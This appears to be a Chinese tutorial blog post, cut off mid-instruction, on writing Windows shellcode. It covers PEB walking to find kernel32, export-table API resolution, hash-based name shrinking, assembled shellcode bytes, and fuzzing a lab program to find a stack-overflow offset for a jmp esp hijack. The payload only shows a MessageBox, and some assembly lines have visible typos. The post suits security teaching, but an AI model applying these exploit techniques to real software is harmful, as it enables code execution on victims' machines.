当前位置: 首页 > java >正文

软件安全(二)优化shellcode

我们在上一节课中所写的shellcode,其中使用到的相关的API是通过写入其内存地址来实现调用。这种方法具有局限性,如切换其他的操作系统API的内存地址就会发生变化,从而无法正常调用。

所谓的shellcode不过是在目标程序中加一个区段使得程序可以执行我们自己的代码。但在这个实现的过程中,存在一个问题:我们无法知晓目标程序中是否包含我们自己的代码中所使用的一些函数的相关库。如果没有相关库的话,也就无法在我们的代码中使用相关函数。为保险起见,我们需要自己加载相关的动态链接库。但由于我们并不清楚目标程序中包含了哪些头文件,因此也无法使用LoadLibrary加载动态链接库。因此我们便需要动态寻找函数地址,从而实现加载动态链接库,进而实现我们自己的代码书写

为了解决这个问题,我们需要学习如何动态寻找函数地址

常见的dll

我们日常中常常使用到的dll文件有以下三种:

1.Kernel32.dll:封装了所有进程内存管理相关的API。

2.user32.dll:窗口程序专用,封装了所有跟窗口操作相关的API

3.ntdll.dll:ring0的大门,无论是kernel32.dll还是user32.dll中的API最终都会去调用ntdll.dll中的API

其中动态调用API需要使用Kernel32.dll

TEB

TEB:线程环境块,实际上就是一个保存了线程中的各种信息的结构体。

typedef struct _TEB 
{PVOID Reserved1[12];PPEB  ProcessEnvironmentBlock;PVOID Reserved2[399];BYTE  Reserved3[1952];PVOID TlsSlots[64];BYTE  Reserved4[8];PVOID Reserved5[26];PVOID ReservedForOle;PVOID Reserved6[4];PVOID TlsExpansionSlots;
} TEB, * PTEB;

我们从直观上看这个结构体,并不能获取什么有用的信息。但当我们从字节单位上看,可以看出来该结构体有这么两个重要的成员,它们分别指向了一个结构体:

typedef struct _TEB 
{+0x00 :_NT_TIB  NtTib;//线程信息块+0x30:_PEB* PPEB;
} TEB, * PTEB;

首先我们了解_NT_TIB结构体:  

typedef struct _NT_TIB 
{struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList;//用于操作系统的windows的异常处理机制,大量用于反调试程序PVOID StackBase;PVOID StackLimit;PVOID SubSystemTib;union {PVOID FiberData;DWORD Version;};PVOID ArbitraryUserPointer;struct _NT_TIB *Self;//该指针指向了自己本身
} NT_TIB;

PEB的查找

通过NtCurrentTeb()我们可以获取TEB的指针

现在我们开始观察NtCurrentTeb的内部实现,如下图所示:

通过观察可以发现FS寄存器中存放的就是TEB结构体的首地址,由此得出FS:[0X30]==PEB的指针,这样我们也就可以通过TEB获取PEB了

PEB

从TEB中,我们发现了一个指向PEB结构体的指针,而PEB叫做进程环境块,其存放了进程相关信息。我们本节课要学习的动态调用API所需要的相关信息就存放在PEB中

接下来我们只介绍PEB中有用的成员:

struct _PEB 
{+0x00c :_PEB_LDR_DATA*  Ldr;//当dll文件加载后会Ldr会存放模块相关信息。
} 

其中 _PEB_LDR_DATA结构体有用的成员如下:

 struct _PEB_LDR_DATA 
{+0x000 :Uint  length;+0x004 :Uchar  initialized;+0x008 :LVOID SsHandle;+0x00c :_LIST_ENTRY InloadOrderMoudleList;//载入顺序排序的dll+0x014 :_LIST_ENTRY InMemoryOrderMoudleList;//内存排序的dll+0x01c :_LIST_ENTRY InitalizationOrderMoudleList;//初始化排序的dll。其中排序通常为ntdll,kernel32.dll或者kernerbase.dll //三个_LIST_ENTRY中所有的dll都一样,只是排列顺序不同
} 

其中_LIST_ENTRY结构体如下:

struct _LIST_ENTRY 
{_LIST_ENTRY *Flink;//下一个结构体指针_LIST_ENTRY *Blink;//上一个机构体指针
} 

通过_LIST_ENTRY双向链表可以遍历所有模块。_PEB_LDR_DATA结构体中InloadOrderMoudleList和InMemoryOrderMoudleList会因为各种情况导致排序顺序发生变化,而第InitalizationOrderMoudleList的排列顺序则不会发生变化。因此我们动态寻找函数地址时使用的是InitalizationOrderMoudleList,其指向了第一个dll

值得注意的是,_LIST_ENTRY是一个结构体,但它是一个被包含在_LDR_DATA_TABLE_ENTRY结构体中的结构体。这个_LDR_DATA_TABLE_ENTRY结构体存储了对应模块的相关信息。因此我们通过_LIST_ENTRY便可以找到了_LDR_DATA_TABLE_ENTRY结构体,自然也就找到了要寻找的模块的信息了

_LDR_DATA_TABLE_ENTRY结构体如下,其中我们利用InitalizationOrderMoudleList正是该结构体的第三个成员

typedef struct _LDR_DATA_TABLE_ENTRY
{LIST_ENTRY InLoadOrderMoudleList;LIST_ENTRY InMemoryOrderMoudleList;LIST_ENTRY InInitializationOrderMoudleList;PVOID DllBase;//模块基址,从而可以找到导出表,如kernel32.dll中的LoadLibraryA和GetProcAdrressPVOID EntryPoint;PVOID SizeOfImage;PVOID FullDllName;.....
}

通过该结构体,我们便可以找到相应模块的信息了

汇编查找kernel32

//FS存储着TEB的起始地址
mov esi,FS:[0x30]//PEB地址
mov esi,[esi+0xc]//Ldr地址
mov esi,[esi+0x1c]//指向第一个InitalizationOrderMoudleList
mov esi,[esi]//指向第二个dll,即kernel32.dll文件信息。通过该dll文件,我们可以实现动态查找函数地址的功能

当我们找到kernel32模块后,就可以通过其导入表找到LoadLibraryA和GetProcAdrress函数从而调用任意API

优化shellcode

接下来我们将优化上一篇shellcode的实现,具体有以下几个步骤:

1.保存相关字符串,如:user32.dll、LoadLibraryA、GetProcAddress、MessageBoxA、hello world

2.通过fs寄存器获取kernel32.dll基址

Mov esi,fs:[0x30]//获取PEB
Mov esi,[esi+0xc]//获取LDR结构体地址
Mov esi,[esi+0x1c]//InInitializationOrderMoudleList
Mov esi,[esi]//InInitializationOrderMoudleList第二项,即kernel32.dll
Mov ecx,[esi,+0x8]//获取kernel32.dll基址

3.获取导出表,根据导出表查找需要的函数

MyGetProcAddress(imageBase,funName,strlen)

ImageBase + 0x3C = NT

NT头 + 0x78 = dataDirectory第一项,即导出表数据目录

导出函数地址表 = 导出表 + 0x1c

导出函数名称表 = 导出表 + 0X20

导出函数序号表 = 导出表 + 0x24

获取三张表以后,funName同导出函数名称表内容进行比较,获取比对成功的索引值。之后通过索引值获取导出函数序号表对应的序号,即导出函数地址表中对应的索引。之后根据索引值获取导出函数地址表中函数地址

4、字符串比较函数

由于我们并不清楚目标进程是否存在strcmp(),因此我们需要自己实现该API

strcmp是通过逐字节比对从而实现字符串比较功能,因此当我们汇编实现stcmp时,也需要使用循环指令

实现该API的关键在于Repe cmpsb指令。该指令通过按字节进行比较的方式比较edi与esi存储的地址上的值,之后通过DF标志位的值决定edi和esi地址的更新,然后exc - 1。当ecx为0或者esi和edi比较结果不相同时,停止DF循环,然后设置ZF标志位

现在我们简单的实现strcmp的功能:

_asm
{//比较字符串获取APIxor eax, eax; //用于循环计数cld;;//将strcmp所用的DF标志位置零jmp tag_begincmp;tag_cmpLoop:inc eax;//循环计数加一tag_begincmp:mov esi, [ebp - 0x8];//导出函数名称表VAmov esi, [esi + eax * 4];//第一个名称RVAmov edx, [ebp + 0x8]; //函数名称字符串VAlea esi, [edx + esi]; // 要查找的目标函数名称mov edi, [ebp + 0xc];//循环次数mov ecx, [ebp + 0x10];//字符串长度repe cmpsb;jne tag_cmpLoop;//如果相等的话,eax是数组索引mov esi, [ebp - 0xc];//导出函数序号表VAxor edi, edi;//将edi高位清零mov di, [esi + eax * 2];//导出函数序号表索引mov ebx, [ebp - 0x4];//导出函数地址表VAmov ebx, [ebx + edi * 4]; ];//获取目标函数RVAmov edx, [ebp + 0x8];//保存dll基址lea eax, [edx + ebx];//获取目标函数VA
}

5、payload函数:通过调用以上各个功能实现输出hello51hook

保存字符串

通过010editor我们可以获取字符串的十六进制数据,如下所示:

__asm
{//user32.dll:75 73 65 72 33 32 2E 64      6C 6C 00 //LoadLibraryA:4C 6F 61 64 4C 69 62 72 61 72 79 41       00//GetProcAddress:47 65 74 50 72 6F 63 41 64 64 72 65     73 73 00//MessageBoxA:4D 65 73 73 61 67 65 42 6F 78 41 00//hello world:68 65 6C 6C 6F 20 77 6F 72 6C 64 00//保存字符串pushad;sub esp, 0x2F;//提升栈空间push 0x646C72;push 0x6F77206F;push 0x6c6c6568;push 0x41786f;push 0x42656761;push 0x7373654d;mov byte ptr ds : [esp - 1] , 0x0;sub esp, 0x1;mov ax, 0x6c6c;mov word ptr ds : [esp - 2] , ax;sub esp, 0x2;push 0x642e3233;push 0x72657375;mov byte ptr ds : [esp - 1] , 0x0;sub esp, 0x1;mov ax, 0x7373;mov word ptr ds : [esp - 2] , ax;sub esp, 0x2;push 0x65726464;push 0x41636f72;push 0x50746547;mov byte ptr ds : [esp - 1] , 0x0;sub esp, 0x1;push 0x41797261;push 0x7262694c;push 0x64616f4c;mov ecx, esp;push ecx;call fun_payload;
}

获取kernel32.dll基址

__asm
{	//获取kernel32.dll基址fun_getmodule:;push ebp;mov ebp, esp;sub esp, 0xc;push ecx;mov esi, dword ptr fs : [0x30] ;//PEB指针mov esi, [esi + 0xc];//LDR结构体地址mov esi, [esi + 0x1c];//InInitializationOrderMoudleListmov esi, [esi];//InInitializationOrderMoudleList的第二项,即kernel32mov eax, [esi + 0x8];//kernel32基址pop ecx;mov esp, ebp;pop ebp;retn;
}

获取函数地址

__asm
{//获取函数地址fun_getProcAddr:push ebp;mov ebp, esp;sub esp, 0x10;push ecx;push edx;push esi;push edi;//获取导出表mov edx, [ebp + 0x8];//参数dllbasemov esi, [edx + 0x3c];//elf_anewlea esi, [edx + esi];//NT头mov esi, [esi + 0x78];//导出表RVAlea esi, [edx + esi];// 导出表VAmov edi, [esi + 0x1c];//导出函数地址表RVAlea edi, [edx + edi];//导出函数地址表VAmov[ebp - 0x4], edi;mov edi, [esi + 0x20];//导出函数名称表VAlea edi, [edx + edi];//导出函数序号表RVAmov[ebp - 0x8], edi;mov edi, [esi + 0x24];//导出函数序号表RVAlea edi, [edx + edi];//导出函数序号表VAmov[ebp - 0xc], edi;//比较字符串获取APIxor eax, eax; //用于循环计数cld;;//将strcmp所用的DF标志位置零jmp tag_begincmp;tag_cmpLoop:inc eax;//循环计数加一tag_begincmp:mov esi, [ebp - 0x8];//导出函数名称表VAmov esi, [esi + eax * 4];//第一个名称RVAmov edx, [ebp + 0x8]; //函数名称字符串VAlea esi, [edx + esi]; // 要查找的目标函数名称mov edi, [ebp + 0xc];//循环次数mov ecx, [ebp + 0x10];//字符串长度repe cmpsb;jne tag_cmpLoop;//如果相等的话,eax是数组索引mov esi, [ebp - 0xc];//导出函数序号表VAxor edi, edi;//将edi高位清零mov di, [esi + eax * 2];//导出函数序号表索引mov ebx, [ebp - 0x4];//导出函数地址表VAmov ebx, [ebx + edi * 4]; ];//获取目标函数RVAmov edx, [ebp + 0x8];//保存dll基址lea eax, [edx + ebx];//获取目标函数VApop edi;pop esi;pop edx;pop ecx;mov esp, ebp;pop ebp;retn 0x10;
}

调用函数

__asm
{fun_payload:push ebp;mov ebp, esp;sub esp, 0x20;push ecx;push edx;push esi;push edi;call fun_getmodule;mov[ebp - 0x4], eax;//DLLBASE//获取LoadLiabraryApush 0xD;mov ecx, [ebp + 0x8];//第一个参数push ecx;push eax;call fun_getProcAddr;mov[ebp - 0x8], eax;//LoadLibraryA//获取GetProcessAddrpush 0xF;mov ecx, [ebp + 0x8];//第一个参数lea ecx, [ecx + 0xd];push ecx;//字符串首地址mov edx, [ebp - 0x4];push edx;//dllbasecall fun_getProcAddr;mov[ebp - 0xc], eax;//保存GetProcessAddr//调用LoadLibraryA加载user32.dllmov ecx, [ebp + 0x8];//第一个参数lea ecx, [ecx + 0x1c];//user32.dll字符串地址push ecx;call[ebp - 0x8];//调用LoadLibraryA获取user32.dllmov[ebp - 0x10], eax;//user32.dllbase//调用GetProcAddress,获取MessageBoxA地址mov ecx, [ebp + 0x8];lea ecx, [ecx + 0x27];push ecx;push[ebp - 0x10];call[ebp - 0xc];//call GetProcessAddr//输出hello worldpush 0;push 0;mov ebx, [ebp + 0x8];lea ebx, [ebx + 0x33];push ebx;push 0;call eax;pop edi;pop esi;pop edx;pop ecx;mov esp, ebp;pop ebp;retn 0x4;
}

代码汇总

#include<windows.h>
#include<iostream>
void _declspec(naked)shellCode()
{__asm{//user32.dll:75 73 65 72 33 32 2E 64      6C 6C 00 //LoadLibraryA:4C 6F 61 64 4C 69 62 72 61 72 79 41       00//GetProcAddress:47 65 74 50 72 6F 63 41 64 64 72 65     73 73 00//MessageBoxA:4D 65 73 73 61 67 65 42 6F 78 41 00//hello world:68 65 6C 6C 6F 20 77 6F 72 6C 64 00//保存字符串pushad;sub esp, 0x2F;//提升栈空间push 0x646C72;push 0x6F77206F;push 0x6c6c6568;push 0x41786f;push 0x42656761;push 0x7373654d;mov byte ptr ds : [esp - 1] , 0x0;sub esp, 0x1;mov ax, 0x6c6c;mov word ptr ds : [esp - 2] , ax;sub esp, 0x2;push 0x642e3233;push 0x72657375;mov byte ptr ds : [esp - 1] , 0x0;sub esp, 0x1;mov ax, 0x7373;mov word ptr ds : [esp - 2] , ax;sub esp, 0x2;push 0x65726464;push 0x41636f72;push 0x50746547;mov byte ptr ds : [esp - 1] , 0x0;sub esp, 0x1;push 0x41797261;push 0x7262694c;push 0x64616f4c;mov ecx, esp;push ecx;call fun_payload;//获取kernel32.dll基址fun_getmodule:;push ebp;mov ebp, esp;sub esp, 0xc;push ecx;mov esi, dword ptr fs : [0x30] ;//PEB指针mov esi, [esi + 0xc];//LDR结构体地址mov esi, [esi + 0x1c];//InInitializationOrderMoudleListmov esi, [esi];//InInitializationOrderMoudleList的第二项,即kernel32mov eax, [esi + 0x8];//kernel32基址pop ecx;mov esp, ebp;pop ebp;retn;//获取函数地址fun_getProcAddr:push ebp;mov ebp, esp;sub esp, 0x10;push ecx;push edx;push esi;push edi;//获取导出表mov edx, [ebp + 0x8];//参数dllbasemov esi, [edx + 0x3c];//elf_anewlea esi, [edx + esi];//NT头mov esi, [esi + 0x78];//导出表RVAlea esi, [edx + esi];// 导出表VAmov edi, [esi + 0x1c];//导出函数地址表RVAlea edi, [edx + edi];//导出函数地址表VAmov[ebp - 0x4], edi;mov edi, [esi + 0x20];//导出函数名称表VAlea edi, [edx + edi];//导出函数序号表RVAmov[ebp - 0x8], edi;mov edi, [esi + 0x24];//导出函数序号表RVAlea edi, [edx + edi];//导出函数序号表VAmov[ebp - 0xc], edi;//比较字符串获取APIxor eax, eax; //用于循环计数cld;;//将strcmp所用的DF标志位置零jmp tag_begincmp;tag_cmpLoop:inc eax;//循环计数加一tag_begincmp:mov esi, [ebp - 0x8];//导出函数名称表VAmov esi, [esi + eax * 4];//第一个名称RVAmov edx, [ebp + 0x8]; //函数名称字符串VAlea esi, [edx + esi]; // 要查找的目标函数名称mov edi, [ebp + 0xc];//循环次数mov ecx, [ebp + 0x10];//字符串长度repe cmpsb;jne tag_cmpLoop;//如果相等的话,eax是数组索引mov esi, [ebp - 0xc];//导出函数序号表VAxor edi, edi;//将edi高位清零mov di, [esi + eax * 2];//导出函数序号表索引mov ebx, [ebp - 0x4];//导出函数地址表VAmov ebx, [ebx + edi * 4]; ];//获取目标函数RVAmov edx, [ebp + 0x8];//保存dll基址lea eax, [edx + ebx];//获取目标函数VApop edi;pop esi;pop edx;pop ecx;mov esp, ebp;pop ebp;retn 0x10;fun_payload:push ebp;mov ebp, esp;sub esp, 0x20;push ecx;push edx;push esi;push edi;call fun_getmodule;mov[ebp - 0x4], eax;//DLLBASE//获取LoadLiabraryApush 0xD;mov ecx, [ebp + 0x8];//第一个参数push ecx;push eax;call fun_getProcAddr;mov[ebp - 0x8], eax;//LoadLibraryA//获取GetProcessAddrpush 0xF;mov ecx, [ebp + 0x8];//第一个参数lea ecx, [ecx + 0xd];push ecx;//字符串首地址mov edx, [ebp - 0x4];push edx;//dllbasecall fun_getProcAddr;mov[ebp - 0xc], eax;//保存GetProcessAddr//调用LoadLibraryA加载user32.dllmov ecx, [ebp + 0x8];//第一个参数lea ecx, [ecx + 0x1c];//user32.dll字符串地址push ecx;call[ebp - 0x8];//调用LoadLibraryA获取user32.dllmov[ebp - 0x10], eax;//user32.dllbase//调用GetProcAddress,获取MessageBoxA地址mov ecx, [ebp + 0x8];lea ecx, [ecx + 0x27];push ecx;push[ebp - 0x10];call[ebp - 0xc];//call GetProcessAddr//输出hello worldpush 0;push 0;mov ebx, [ebp + 0x8];lea ebx, [ebx + 0x33];push ebx;push 0;call eax;pop edi;pop esi;pop edx;pop ecx;mov esp, ebp;pop ebp;retn 0x4;}
}
int main()
{shellCode();return 0;
}

调试shellcode

将上述汇编代码利用x32dbg可以获取其硬编码,如下所示:

"\x60\x83\xEC\x30\x3E\xC6\x44\x24\xFF\x00\x83\xEC\x01\x68\x68\x6F\x6F\x6B\x68\x6F\x20\x35\x31\x68\x68\x65\x6C\x6C\x68\x6F\x78\x41\x00\x68\x61\x67\x65\x42\x68\x4D\x65\x73\x73\x3E\xC6\x44\x24\xFF\x00\x83\xEC\x01\x66\xB8\x6C\x6C\x3E\x66\x89\x44\x24\xFE\x83\xEC\x02\x68\x33\x32\x2E\x64\x68\x75\x73\x65\x72\x3E\xC6\x44\x24\xFF\x00\x83\xEC\x01\x66\xB8\x73\x73\x3E\x66\x89\x44\x24\xFE\x83\xEC\x02\x68\x64\x64\x72\x65\x68\x72\x6F\x63\x41\x68\x47\x65\x74\x50\x3E\xC6\x44\x24\xFF\x00\x83\xEC\x01\x68\x61\x72\x79\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x8B\xCC\x51\xE8\x8E\x00\x00\x00\x55\x8B\xEC\x83\xEC\x0C\x56\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\x8B\x36\x8B\x76\x08\x8B\xC6\x5E\x8B\xE5\x5D\xC3\x55\x8B\xEC\x83\xEC\x20\x56\x57\x52\x53\x51\x8B\x55\x08\x8B\x72\x3C\x8D\x34\x32\x8B\x76\x78\x8D\x34\x32\x8B\x7E\x1C\x8D\x3C\x3A\x89\x7D\xFC\x8B\x7E\x20\x8D\x3C\x3A\x89\x7D\xF8\x8B\x7E\x24\x8D\x3C\x3A\x89\x7D\xF4\x33\xC0\xFC\xEB\x01\x40\x8B\x75\xF8\x8B\x34\x86\x8D\x34\x32\x8B\x7D\x0C\x8B\x4D\x10\xF3\xA6\x75\xEC\x8B\x75\xF4\x33\xFF\x66\x8B\x3C\x46\x8B\x55\xFC\x8B\x34\xBA\x8B\x55\x08\x8D\x04\x32\x59\x5B\x5A\x5F\x5E\x8B\xE5\x5D\xC2\x0C\x00\x55\x8B\xEC\x83\xEC\x20\x56\x57\x52\x53\x51\xE8\x62\xFF\xFF\xFF\x89\x45\xFC\x6A\x0D\x8B\x4D\x08\x51\x50\xE8\x73\xFF\xFF\xFF\x89\x45\xF8\x6A\x0F\x8D\x49\x0D\x51\xFF\x75\xFC\xE8\x62\xFF\xFF\xFF\x89\x45\xF4\x8B\x4D\x08\x8D\x49\x1C\x51\xFF\x55\xF8\x89\x45\xF0\x8B\x4D\x08\x8D\x49\x27\x51\xFF\x75\xF0\xFF\x55\xF4\x89\x45\xEC\x6A\x00\x6A\x00\x8B\x4D\x08\x8D\x49\x33\x51\x6A\x00\xFF\x55\xEC\x59\x5B\x5A\x5F\x5E\x8B\xE5\x5D\xC2\x04\x00"

当我们写完shellcode以后,通常需要调试shellcode以判断书写是否正确

调试方法如下:

一.修改项目属性:

二.书写调试代码:

#include<windows.h>
#include<stdio.h>char shellcode[] = "\x60\x83\xEC\x30\x3E\xC6\x44\x24\xFF\x00\x83\xEC\x01\x68\x68\x6F\x6F\x6B\x68\x6F\x20\x35\x31\x68\x68\x65\x6C\x6C\x68\x6F\x78\x41\x00\x68\x61\x67\x65\x42\x68\x4D\x65\x73\x73\x3E\xC6\x44\x24\xFF\x00\x83\xEC\x01\x66\xB8\x6C\x6C\x3E\x66\x89\x44\x24\xFE\x83\xEC\x02\x68\x33\x32\x2E\x64\x68\x75\x73\x65\x72\x3E\xC6\x44\x24\xFF\x00\x83\xEC\x01\x66\xB8\x73\x73\x3E\x66\x89\x44\x24\xFE\x83\xEC\x02\x68\x64\x64\x72\x65\x68\x72\x6F\x63\x41\x68\x47\x65\x74\x50\x3E\xC6\x44\x24\xFF\x00\x83\xEC\x01\x68\x61\x72\x79\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x8B\xCC\x51\xE8\x8E\x00\x00\x00\x55\x8B\xEC\x83\xEC\x0C\x56\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\x8B\x36\x8B\x76\x08\x8B\xC6\x5E\x8B\xE5\x5D\xC3\x55\x8B\xEC\x83\xEC\x20\x56\x57\x52\x53\x51\x8B\x55\x08\x8B\x72\x3C\x8D\x34\x32\x8B\x76\x78\x8D\x34\x32\x8B\x7E\x1C\x8D\x3C\x3A\x89\x7D\xFC\x8B\x7E\x20\x8D\x3C\x3A\x89\x7D\xF8\x8B\x7E\x24\x8D\x3C\x3A\x89\x7D\xF4\x33\xC0\xFC\xEB\x01\x40\x8B\x75\xF8\x8B\x34\x86\x8D\x34\x32\x8B\x7D\x0C\x8B\x4D\x10\xF3\xA6\x75\xEC\x8B\x75\xF4\x33\xFF\x66\x8B\x3C\x46\x8B\x55\xFC\x8B\x34\xBA\x8B\x55\x08\x8D\x04\x32\x59\x5B\x5A\x5F\x5E\x8B\xE5\x5D\xC2\x0C\x00\x55\x8B\xEC\x83\xEC\x20\x56\x57\x52\x53\x51\xE8\x62\xFF\xFF\xFF\x89\x45\xFC\x6A\x0D\x8B\x4D\x08\x51\x50\xE8\x73\xFF\xFF\xFF\x89\x45\xF8\x6A\x0F\x8D\x49\x0D\x51\xFF\x75\xFC\xE8\x62\xFF\xFF\xFF\x89\x45\xF4\x8B\x4D\x08\x8D\x49\x1C\x51\xFF\x55\xF8\x89\x45\xF0\x8B\x4D\x08\x8D\x49\x27\x51\xFF\x75\xF0\xFF\x55\xF4\x89\x45\xEC\x6A\x00\x6A\x00\x8B\x4D\x08\x8D\x49\x33\x51\x6A\x00\xFF\x55\xEC\x59\x5B\x5A\x5F\x5E\x8B\xE5\x5D\xC2\x04\x00";int main()
{__asm{lea eax, shellcode;push eax;retn;}return 0;
}

三.利用x32dbg调试即可

模糊测试

当我们编写并调试完毕shellcode时,便需要寻找程序的漏洞所在处,将shellcode插入进去了。

以我们学习的栈溢出漏洞为例,通常一个程序的栈空间是很大的,因此我们并不容易定位到栈溢出点。为了方便定位到栈溢出点,我们通常需要使用模糊测试

现在我们以上一节课的栈溢出漏洞的程序进行演示:

1.为了寻找栈溢出点,我们可以在password.txt中写入一堆的1:

然后运行程序,很显然程序会因为栈溢出而崩掉

2.通过Windows自带的计算机管理,我们可以找到该程序错误点,如下图所示

可以发现,Windows为我们提供了错误的详细信息:通过错误偏移量我们可以发现在内存中错误发生处的十六进制数据,正是我们所写的password.txt中的一堆1。

但是password.txt中都是1,我们很难去辨别到底栈溢出点是在哪,因此我们需要针对的去进行修改这些1,通常的方法是写一堆有规律的数据,如下所示:

我们将password.txt进行修改,然后运行程序使其再次崩坏,然后依上文的方式再次寻找错误发生点,如下图所示:

我们通过错误偏移量便可找到栈溢出的点,由于内存小端序,所以实际的错误偏移量为0x45344535。

通过010editor,可以发现溢出点所在处,如下图所示:password.txt中E4E5数据处

如图可知,password.txt中E4E5数据处正是栈溢出的位置,即淹没函数返回地址的位置。我们现在只需在栈溢出点处修改数据为我们的shellcode地址即可。

修改方法同上一节方法一致,通过jmp esp指令跳转到shellcode执行处即可,此处不再赘述

最终的shellcode如下所示:

至此我们便通过模糊测试实现了shellcode的插入了

再次运行程序,正常弹窗:

shellcode瘦身

我们在上文所写的shellcode,仅仅只用了几个API的字符串就产生了那么多的数据,这会造成栈空间的巨大浪费。在很多攻击环境下,对于我们的shellcode的大小是有严格限制的,因此我们需要学习如何去将shellcode瘦身以减少栈空间的浪费。

在上文的shellcode中,我们实现一个hello world的弹窗使用了以下字符串:LoadLibraryA,GetProcAddress,MessageBoxA,user32.dll,Hello world。无论字符串长度是多大,当我们通过对字符串进行加密或编码时,其长度最终只会是四个字节。而这四个字节,称之为哈希值。每个字符串的哈希值都不一样,而且该值也没有0的出现,避免字符串截断

如下所示便是我们编码字符串的一种算法,Hash算法:

DWORD getHashCode(char *strname)
{DWORD digest = 0;while (*strname){digest = (digest<<25 | digest>>7);digest = digest + *strname;strname++;}return digest;   
}

通过该算法,我么可以将字符串缩减为四字节大小 

接下来我们针对该算法实现汇编代码

汇编代码实现

__asm
{push ebp;mov ebp, esp;sub esp, 0X4;//用于存放digestpush ecx;push edx;push ebx;mov dword ptr[ebp - 0x4], 0;//初始化digestmov esi, [ebp + 0x8];//保存函数参数strnamexor ecx, ecx;
tag_hashLoop:xor eax, eax;//初始化循环次数mov al, [esi + ecx];test al, al;//判断循环条件jz tag_end;mov ebx, [ebp - 0x4];//保存digestshl ebx, 0x19;//digest << 25mov edx, [ebp - 0x4];//保存digestshr edx, 0x7;//digest >> 7or ebx, edx;//digest << 25 | digest >> 7add ebx, eax;//digest = digest + *strname;mov[ebp - 0x4], ebx;//保存digestinc ecx;//strname++;			jmp tag_hashLoop;
tag_end:mov eax, [ebp - 0x4];//保存返回值pop ebx;pop edx;pop ecx;mov esp, ebp;pop ebp;retn 0x4;//跳过函数参数,平衡堆栈
}

当我们实现完编码函数以后,就可以通过函数获取每个字符串对应的四字节数据,进而取代字符串。在后续导出表比对API时,只需要将相关的API进行编码运算,然后在比对四字节数据就可以找到对应的API了。这样虽然会使目标程序的运行时间变长,但shellcode的长度会变短很多

shellcode成品

接下来我们将字符串编码的汇编代码插入我们的shellcode中

#include<windows.h>
#include<iostream>
void _declspec(naked)shellCode()
{__asm{//user32.dll 75 73 65 72 33 32 2E 64   6C 6C 00             长度:0xB//hello 51hook 68 65 6C 6C 6F 20 35 31 68 6F 6F 6B   00     长度:0xD// kernel32.dll 6B 65 72 6E  65 6C 33 32  2E 64 6C 6C 00//ExitProcess哈希值:0x4FD18963// LoadLibraryA哈希值:0XC917432//GetProcAddress哈希值:0XBBAFDF85// MessageBoxA哈希值:0x1E380A6A//1.保存字符串信息pushadsub esp, 0x30//kenerl32.dllmov byte ptr ds : [esp - 1] , 0x0sub esp, 0x1push 0x6C6C642Epush 0x32336C65push 0x6E72656B//hello 51hook 字符串mov byte ptr ds : [esp - 1] , 0x0sub esp, 0x1push 0x6B6F6F68push 0x3135206Fpush 0x6c6c6568//user32.dll 字符串mov byte ptr ds : [esp - 1] , 0x0sub esp, 0x1mov ax, 0x6c6cmov word ptr ds : [esp - 2] , axsub esp, 0x2push 0x642e3233push 0x72657375mov ecx, esppush ecxcall fun_payload//popad//2.获取模块基址fun_GetModule:push ebpmov ebp, espsub esp, 0xcpush esimov esi, dword ptr fs : [0x30]//PEB指针mov esi, [esi + 0xc]//LDR结构体地址mov esi, [esi + 0x1c]//listmov esi, [esi]//list的第二项 kernel32mov esi, [esi + 0x8]//dllbasemov eax, esipop esimov esp, ebppop ebpretn//查找API函数:fun_GetProcAddr :push ebpmov ebp, espsub esp, 0x20push esipush edipush edxpush ebxpush ecxmov edx, [ebp + 0X8]//dllbasemov esi, [edx + 0x3c]//lf_anewlea esi, [edx + esi]//Nt头mov esi, [esi + 0x78]//导出表RVAlea esi, [edx + esi]//导出表VAmov edi, [esi + 0x1c]//EAT RVAlea edi, [edx + edi]//EAT VAmov[ebp - 0x4], edi//eatvamov edi, [esi + 0x20]//ENT RVAlea edi, [edx + edi]//ENT vamov[ebp - 0x8], edi//ENTVAmov edi, [esi + 0x24]//EOT RVAlea edi, [edx + edi]//mov[ebp - 0xc], edi//EOTVA//比较字符串获取APIxor eax, eaxxor ebx, ebxcldjmp tag_cmpfirsttag_cmpLoop :inc ebxtag_cmpfirst :mov esi, [ebp - 0x8]//ENTmov esi, [esi + ebx * 4]//RVAlea esi, [edx + esi]//函数名称字符串地址mov edi, [ebp + 0xc]//要查找的目标函数名称哈希值push esi//传参call fun_hashCode//对ENT表函数名称进行编码cmp eax, edi//哈希值比较jne tag_cmpLoopmov esi, [ebp - 0xc]//eotxor edi, edi//为了不影响结果清空edimov di, [esi + ebx * 2]//eat表索引mov edx, [ebp - 0x4]//eatmov esi, [edx + edi * 4]//函数地址rvamov edx, [ebp + 0x8]//dllbaselea eax, [edx + esi]//funaddr vapop ecxpop ebxpop edxpop edipop esimov esp, ebppop ebpretn 0x8//hashCode部分fun_hashCode:push ebpmov ebp, espsub esp, 0X4push ecxpush edxpush ebxmov dword ptr[ebp - 0x4], 0mov esi, [ebp + 0x8]xor ecx, ecxtag_hashLoop :xor eax, eaxmov al, [esi + ecx]test al, aljz tag_endmov ebx, [ebp - 0x4]shl ebx, 0x19mov edx, [ebp - 0x4]shr edx, 0x7or ebx, edxadd ebx, eaxmov[ebp - 0x4], ebxinc ecx//ecx++jmp tag_hashLooptag_end :mov eax, [ebp - 0x4]pop ebxpop edxpop ecxmov esp, ebppop ebpretn 0x4//paylod部分fun_payload:push ebpmov ebp, espsub esp, 0x30push esipush edipush edxpush ebxpush ecx//1.先拿到dllbasecall fun_GetModulemov[ebp - 0x4], eax//2.获取LoadLibraryApush 0XC917432//LoadLibraryA 哈希值push eaxcall fun_GetProcAddrmov[ebp - 0x8], eax//LoadLibraryA 地址//3.获取GetProcAddresspush 0xBBAFDF85//GetProcAddress 哈希值//kener32和kernelBase无论哪个都可以调用LoadLibraryA等等//但只有kener32可以调用ExitProcesspush[ebp - 0x4]//dllbasecall fun_GetProcAddrmov[ebp - 0xc], eax//GetProcAddress 函数地址//4.调用LoadLibraryA 加载user32.dllmov ecx, [ebp + 0x8]push  ecxcall[ebp - 0x8]//调用loadlibraya获取 user32.dll mov[ebp - 0x10], eax//user32base//5.调用fun_GetProcAddr 获取MessageBoxA地址push  0x1E380A6A//MessageBoxA 哈希值push[ebp - 0x10]call fun_GetProcAddr//获取MessageBoxA的函数地址mov[ebp - 0x14], 